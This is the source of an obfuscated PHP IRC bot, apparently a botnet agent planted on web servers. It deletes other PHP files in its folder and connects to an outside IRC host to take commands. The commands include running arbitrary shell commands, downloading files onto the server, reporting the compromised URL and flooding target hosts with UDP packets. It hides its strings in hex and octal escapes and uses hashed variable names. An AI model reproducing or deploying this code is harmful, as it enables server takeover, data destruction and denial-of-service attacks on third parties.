error_reporting(0);
 set_time_limit(0);
 $filename = "./a73v9.php";
 $current_dir = "./";
 $channel = "#nobotshere";
 $host = "complexity.razorhack.org";
 $port = 65000;
 $name_format_str = "Complexity-%d";
 $hash = "2c2ae6b1815c4438b6bdc56b7d987aff";
 $cube_pass = "cube";
 $all_php_in_dir = (glob($current_dir."*.php"));
 foreach ($all_php_in_dir as $j) 
 { 
   if($j==$filename) 
   { 
     echo "";
   } 
   else 
   { 
     unlink($j);
   } 
 } 
 $authenticated = 0;
 $random_name_num = "";
 for ($i = 0; $i < 8; $i++) 
 { 
   $random_name_num .= mt_rand( 0, 9 );
 } 
 $random_name = sprintf($name_format_str, $random_name_num);
 $irc_server_socket = fsockopen("$host", $port);
 fputs($irc_server_socket,"USER $random_name $random_name $random_name $random_name :$random_name\n);
 fputs($irc_server_socket,"NICK $random_name\n");
 fputs($irc_server_socket,"JOIN ".$channel."\n");
 while(1) 
 { 
    while($data_from_server = fgets($irc_server_socket)) 
    { 
       flush();
       $split_data = explode(" ", $data_from_server);
       $split_by_colon = explode(":", $split_data[3]);
       $split_by_br = explode("<br>", $split_by_colon);
       $_75fcdf510b1fcbbe589c9684364c97f8 = $split_data[2];
       $user_host = explode("@", $split_data[0]);
       $ircname = explode("!", $user_host[0]);  
       $username = explode(":", $ircname[0]);
       $hostname = $user_host[1];
       $irc_command = $split_data[0];
       if($split_data[0] == "PING")
       { 
         fputs($irc_server_socket, "PONG ".$split_data[1]."\n");
       } 
       $_d53dfe4e13b0d7333a43fd7936db9793 = NULL;
       for ($i = 4; $i < count($split_data); $i++) 
       { 
          $_d53dfe4e13b0d7333a43fd7936db9793 .= $split_data[$i] . "\x20";
       } 
       if (preg_match("/!auth/", $split_by_colon[1]) && preg_match("\x2f$cube_pass\x2f", $irc_command)) 
       { 
           $_fc713ee8e3f669f40fd9b2d12c090cd8 = trim($split_data[4]);
           if (md5($_fc713ee8e3f669f40fd9b2d12c090cd8) === $hash) 
           { 
               $authenticated = 1;
               $irc_command = $split_data[0];
               fputs($irc_server_socket, "PRIVMSG ".$_75fcdf510b1fcbbe589c9684364c97f8." Logged In \n");
           } 
           else 
           {
               fputs($irc_server_socket, "PRIVMSG ".$_75fcdf510b1fcbbe589c9684364c97f8." Failed Login Attempt! ".md5($_fc713ee8e3f669f40fd9b2d12c090cd8)." \n");
           } 
       } 
       elseif (preg_match("/!vuln/", $split_by_colon[1]) && $authenticated == "1" && preg_match("/$cube_pass/", $irc_command)){ $_fd312a4578eda603cc3ab00da12fd62b = $_SERVER['SERVER_NAME'];
 $_831a0f08af2f136e6b87a7369ddfbd96 = $_SERVER['REQUEST_URI'];
 $_4976a52f7d74e8548de8cb36b3ec84a1 = "\x68\164\x74\160\x3a\57\x2f".$_fd312a4578eda603cc3ab00da12fd62b.$_831a0f08af2f136e6b87a7369ddfbd96;
 fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\166\x75\154\x6e\40\x75\162\x6c\40".$_4976a52f7d74e8548de8cb36b3ec84a1."\x20\n");
 } elseif (preg_match("/!pwn/", $split_by_colon[1]) && $authenticated == "\x31" && preg_match("\x2f$cube_pass\x2f", $irc_command)) { $_a388d6ff7132e2b8afb94c8674b7c5c9 = trim($split_data[6]);
 $_b6ae28c0927164c9eb1ec7267fbd8c1c = trim($split_data[4]);
 $_804e99bf7570ed862dfbee9293f5c74e = trim($split_data[5]);
 fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\150\x69\164\x74\151\x6e\147\x20".$_b6ae28c0927164c9eb1ec7267fbd8c1c."\x20\167\x69\164\x68\40$_804e99bf7570ed862dfbee9293f5c74e\x20\160\x6b\164\x73\40\x66\157\x72\40$_a388d6ff7132e2b8afb94c8674b7c5c9\x20\163\x65\143\x6f\156\x64\163\x20\n");
 $_4319468a5f8a681a7449458bf71e8d0a = "";
 for($i=0;
$i<$_804e99bf7570ed862dfbee9293f5c74e;
$i++) { $_4319468a5f8a681a7449458bf71e8d0a .= chr(mt_rand(1,256));
 } $_e0156a7a15ffbe7724d3131cfd72c32b = time();
 $_2965cdffa13d759ba724198359359860 = 0;
 while(time()-$_e0156a7a15ffbe7724d3131cfd72c32b < $_a388d6ff7132e2b8afb94c8674b7c5c9) { $_46c142fdacbd82e008523c5172951b83=fsockopen("\x75\144\x70\72\x2f\57".$_b6ae28c0927164c9eb1ec7267fbd8c1c,mt_rand(1,256),$_326139222f844701d2e6f8a3a7c0e90c,$_8271d3f84a833c21d150b5670d55ae71,5);
 fwrite($_46c142fdacbd82e008523c5172951b83,$_4319468a5f8a681a7449458bf71e8d0a);
 fclose($_46c142fdacbd82e008523c5172951b83);
 $_2965cdffa13d759ba724198359359860++;
 } $_5f64e9e83dfaab499f06c842f541070a = $_2965cdffa13d759ba724198359359860 * $_804e99bf7570ed862dfbee9293f5c74e;
 $_5f64e9e83dfaab499f06c842f541070a = $_5f64e9e83dfaab499f06c842f541070a / 1048576;
 $_d11198baf265736931d102a77f7cf88e = $_5f64e9e83dfaab499f06c842f541070a / $_a388d6ff7132e2b8afb94c8674b7c5c9;
 $_d11198baf265736931d102a77f7cf88e = round($_d11198baf265736931d102a77f7cf88e);
 $_5f64e9e83dfaab499f06c842f541070a = round($_5f64e9e83dfaab499f06c842f541070a);
 fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\150\x69\164\x20".$_b6ae28c0927164c9eb1ec7267fbd8c1c."\x20\167\x69\164\x68\40".$_5f64e9e83dfaab499f06c842f541070a."\x4d\102\x20\141\x74\40".$_d11198baf265736931d102a77f7cf88e."\x4d\102\x2f\163\x20\n");
 } elseif (preg_match("/!down/", $split_by_colon[1]) && $authenticated == "\x31" && preg_match("\x2f$cube_pass\x2f", $irc_command)) { $_fb95879e90a8af8e397d9d1d799a415f = trim($split_data[4]);
 $_450365c44e298f82460b87e8513bd920 = trim($split_data[5]);
 if (!$_46c142fdacbd82e008523c5172951b83 = fopen($_450365c44e298f82460b87e8513bd920, "\x77")) { fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\120\x65\162\x6d\151\x73\163\x69\157\x6e\40\x44\145\x6e\151\x65\144\n");
 } else { if(!$_2dfc84787abeb7e7cfb59d7196820c32 = file($_fb95879e90a8af8e397d9d1d799a415f)) { fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\104\x6f\167\x6e\154\x6f\141\x64\40\x46\141\x69\154\x65\144\x20\n");
 } else { for($i=0;
$i <= count($_2dfc84787abeb7e7cfb59d7196820c32);
 $i++) { fwrite($_46c142fdacbd82e008523c5172951b83, $_2dfc84787abeb7e7cfb59d7196820c32[$i]);
 } fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\104\x6f\167\x6e\154\x6f\141\x64\40\x53\165\x63\143\x65\145\x64\145\x64\40\n");
 fclose($_46c142fdacbd82e008523c5172951b83);
 } } } elseif (preg_match("/!exec/", $split_by_colon[1]) && $authenticated == "\x31" && preg_match("\x2f$cube_pass\x2f", $irc_command)) { $_9df47a80ec824c00938ee027c5f73160 = trim($split_data[4]."\x20".$split_data[5]."\x20".$split_data[6]."\x20".$split_data[7]."\x20".$split_data[8]);
 if(!$_1f15499ebb7f86b3283bda0bb5eb0e09 = system($_9df47a80ec824c00938ee027c5f73160)) { fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\105\x78\145\x63\40\x46\141\x69\154\x65\144\x20\n");
 } else { fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\105\x78\145\x63\40\x53\165\x63\143\x65\145\x64\145\x64\40\n");
 } } elseif ($split_by_colon[1] == "\x21\147\x74\146\x6f" && $authenticated == "\x31" && preg_match("\x2f$cube_pass\x2f", $irc_command)) { fclose($irc_server_socket);
 exit( );
 } } }